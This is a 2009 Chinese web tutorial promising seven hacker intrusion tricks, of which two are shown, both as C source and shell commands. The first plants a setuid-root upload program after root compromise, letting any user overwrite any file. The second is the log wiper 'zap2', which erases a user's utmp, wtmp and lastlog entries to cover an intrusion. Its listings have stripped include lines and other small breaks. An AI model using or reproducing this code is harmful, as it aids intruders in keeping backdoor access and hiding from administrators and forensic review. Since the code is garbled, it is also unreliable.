当前位置: 首页 > 图文教程 > 网络安全 > 安全基础 > 黑客入侵实用技巧七则

安全基础
网管技术:常见BIOS报错信息及解决方法
分布式拒绝服务(DDOS)攻击及防范研究
四种宽带接入方式及其传输速率
网管必读 解读无线网络的七大安全困惑
经验:识别系统的非法进程及剿杀
全面清除系统垃圾的方法
QQ、网游等账号防盗防骗的实用小经验
上网前保证Windows XP系统安全的办法
七种DDoS攻击技术方法简介
硬盘与内存检测 四种查毒绝招
当网站注册时输入验证码总是不正确解决方法
不让自己的秘密留在别人的电脑中
IE崩溃遭难不求人 快速简单处理方法
损招 让应用程序莫名其妙地失效
不再弹广告 破除隐身僵尸木马的隐身妖术
利用QQ传播 网络欺骗“绑架”奥运会
渗透测试的攻与守 认清网络面临的问题
手动剿杀“上兴远程控制”木马
个人电脑防黑客入侵八准则
关注Windows系统服务中的安全隐患

安全基础 中的 黑客入侵实用技巧七则


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-10-28   浏览: 29 ::
收藏到网摘: n/a

1 、UPLOAD

侵入成功后,拿到root权限了,这个东东可以把他的服务器的访问权限改了,让任何人都可以上传文件 !
root 状 态 下, 运 行 Install 后,
upload 将 允 许 普 通 用 户 上 载 文 件 至 任 何 目 录 下。
# chmod 755 install
#./install
$ more install
#! /bin/csh -f
cc upload.c
cp a.out upload
chown root upload
chmod 755 upload
chmod u+s upload
$ more upload.c
#include
main()
{
char filename[48];
printf( "This program will upload up.txt ASCII file to specified file\n" );
printf( "XXX Copyright Reserved\n" );
printf( "Where to upload (include path and filename)? " );
gets( filename );
upload( filename );
}
int upload( filename )
char *filename;
{
FILE *fp,*outp;
char c;
fp=fopen( "up.txt","r" );
outp=fopen( filename,"w" );
if( fp== NULL ) {
printf( "file not exist." );
return 0;
}
for( ;; ) {
c= fgetc( fp );
if feof( fp ) break;
printf( "%c",c );
fputc( c, outp );
}
fclose( fp );
fclose( outp );
return 1;
}

 
2、破坏现场

进入系统后,出来以前怎么破坏现场?抹掉自己的脚印?

编辑 /etc/utmp, /usr/adm/wtmp and /usr/adm/lastlog.
请使用专门的编辑器

例子:

#include
#include
#include
#include
#include
#include
#include
#include
#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"

int f;

void kill_utmp(who)
char *who;
{
struct utmp utmp_ent;

if ((f=open(UTMP_NAME,O_RDWR))>=0) {
while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof( utmp_ent ));
lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
write (f, &utmp_ent, sizeof (utmp_ent));
}
close(f);
}
}

void kill_wtmp(who)
char *who;
{
struct utmp utmp_ent;
long pos;

pos = 1L;
if ((f=open(WTMP_NAME,O_RDWR))>=0) {

while(pos != -1L) {
lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
pos = -1L;
} else {
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof(struct utmp ));
lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
write (f, &utmp_ent, sizeof (utmp_ent));
pos = -1L;
} else pos += 1L;
}
}
close(f);
}
}

void kill_lastlog(who)
char *who;
{
struct passwd *pwd;
struct lastlog newll;

if ((pwd=getpwnam(who))!=NULL) {

if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
bzero((char *)&newll,sizeof( newll ));
write(f, (char *)&newll, sizeof( newll ));
close(f);
}

} else printf("%s: ?\n",who);
}

main(argc,argv)
int argc;
char *argv[];
{
if (argc==2) {
kill_lastlog(argv);
kill_wtmp(argv);
kill_utmp(argv);
printf("Zap2!\n");
} else
printf("Error.\n");
}